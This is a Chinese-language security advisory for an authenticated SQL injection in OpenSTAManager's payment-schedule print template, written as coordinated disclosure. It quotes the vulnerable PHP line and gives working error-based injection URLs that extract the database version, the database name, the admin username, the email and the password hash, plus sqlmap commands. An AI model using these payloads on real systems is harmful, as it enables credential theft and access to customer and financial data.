
CVE-2025-69216 - OpenSTAManager has a SQL Injection in Scadenzario Print Template
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-69216 |
| 严重级别 | 高 |
| 安全公告 | 查看公告 |
| 发现者 | Lukasz Rybak |
OpenSTAManager 的 Scadenzario(付款计划)打印模板中存在一个经过身份验证的SQL注入漏洞,允许任何经过身份验证的用户从数据库中提取敏感数据,包括管理员凭据、客户信息和财务记录。该漏洞通过基于错误的SQL注入技术实现完全数据库读取访问。
该漏洞存在于 templates/scadenzario/init.php 第46行,其中 id_anagrafica 参数未经适当清理就直接拼接到SQL查询中:
存在漏洞的代码:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
get() 函数未经验证地从GET/POST参数中获取用户输入。该参数值通过字符串拼接直接嵌入到SQL查询字符串中,而未使用应用程序的 prepare() 清理函数,从而实现了SQL注入攻击。
根本原因:
prepare() 函数进行输入清理受影响的端点:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
受影响的文件:
templates/scadenzario/init.php(第46行) - 主要漏洞templates/scadenzario/init.php(第34、40行) - 类似模式,涉及日期参数pdfgen.php - 模板渲染的入口点1. 确认漏洞 - 基本语法错误测试:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
应用程序响应中显示SQL语法错误
2. 提取数据库版本 - 基于错误的SQL注入:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
结果: ~8.3.0~ (MySQL版本)
3. 提取数据库名称:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
结果: ~openstamanager~
4. 提取管理员用户名:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
结果: ~admin~

5. 提取管理员邮箱:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
结果: 管理员邮箱地址
6. 提取密码哈希(部分 - XPATH 31字符限制):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
结果: bcrypt 密码哈希
7. 使用SQLMap进行自动化利用:
创建请求文件 sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
运行SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap已确认的注入类型:
受影响的对象:
由 Łukasz Rybak 报告
本CVE已按照协调漏洞披露规范进行负责任地披露。此处提供的信息仅供教育和防御目的使用。